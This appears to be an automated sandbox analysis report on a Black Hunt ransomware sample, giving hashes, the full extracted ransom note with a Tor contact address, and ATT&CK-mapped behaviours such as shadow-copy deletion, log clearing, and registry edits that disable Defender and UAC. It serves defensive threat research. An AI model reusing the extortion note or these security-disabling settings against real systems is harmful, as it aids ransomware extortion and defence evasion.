ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:30

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General

Target

ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Size

707KB
MD5

8c0b6e4647e4efbbd4e6fdce74ad2392
SHA1

022e01980b0eb0de51cca2ec1b61561deb0247a1
SHA256

ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee
SHA512

89ad0d92867d32b85256498c7c6d0278a65d19b909a750a8aed29ea019bb1bff2e11b54b4fc6817290a5a0c1df41c4e83e5fc693e6c5c44dceb2c3261a871752
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza148ovnh:6uaTmkZJ+naie5OTamgEoKxLWTWh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

F:\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> tMbAGtxGy7T1OeiY </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2536	fsutil.exe
996	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3024	wevtutil.exe
920	wevtutil.exe
2792	wevtutil.exe
1784	wevtutil.exe
224	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3016	bcdedit.exe
2508	bcdedit.exe
2804	bcdedit.exe
2824	bcdedit.exe

Renames multiple (2887) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2924	wbadmin.exe
2932	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1636	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\O:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\L:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\T:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\X:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\E:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\U:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\H:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\J:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\N:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\G:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\V:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\B:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\M:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\F:	wevtutil.exe
File opened (read-only)	\??\I:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\P:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\A:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\K:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\W:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\S:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened (read-only)	\??\Z:	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_ja.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_selectionsubpicture.png	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text.nl_zh_4.4.0.v20140623020002.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\jhall-2.0_05.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dhaka	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Reykjavik	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Chatham	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kathmandu	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core_0.10.100.v20140424-2042.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-plaf.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.txt	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Kentucky\Monticello	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-awt_ja.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_ReadMe.txt	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.txt	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Minsk	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_ja_4.4.0.v20140623020002.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
